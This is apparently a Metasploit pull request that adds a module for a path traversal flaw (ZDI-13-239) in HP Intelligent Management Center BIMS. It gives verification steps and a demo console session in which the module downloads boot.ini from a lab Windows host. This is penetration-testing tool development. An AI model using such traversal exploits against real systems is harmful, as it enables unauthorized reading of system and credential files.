rapid7/metasploit-framework — pull request #2553 by jvazquez-r7 (2013-10-20 23:42:39+00:00)
Title: Add module for ZDI-13-239

Tested successfully on HP Intelligent Management Center 5.1 E0202 with BIMS 5.1 E0201 over Windows 2003 SP2

Verification:

- [ ] download HP IMC 5.1 E0202 trial from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_ES_Platform/index.aspx#.UmIcvJRASaI

- [ ] download the BIMS 5.1 E0201 component from http://h17007.www1.hp.com/us/en/networking/products/network-management/IMC_BIM_Software/index.aspx#.UmIc8pRASaI

- [ ] Install both IMC nad the BIMS component

- [ ] Ensure the IMC service is running on the port 8080

- [ ] Run the msfconsole, use the module, run, you should download by default the boot.ini of the target system (default install) (see demo)

* Demo

```
msf auxiliary(hp_imc_bims_downloadservlet_traversal) > run

[*] 192.168.172.133:8080 - Sending request...
[+] 192.168.172.133:8080 - File saved in: /Users/juan/.msf4/loot/20131020183635_default_192.168.172.133_hp.imc.bimsdownl_886950.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_bims_downloadservlet_traversal) > cat /Users/juan/.msf4/loot/20131020183635_default_192.168.172.133_hp.imc.bimsdownl_886950.ini
[*] exec: cat /Users/juan/.msf4/loot/20131020183635_default_192.168.172.133_hp.imc.bimsdownl_886950.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect
```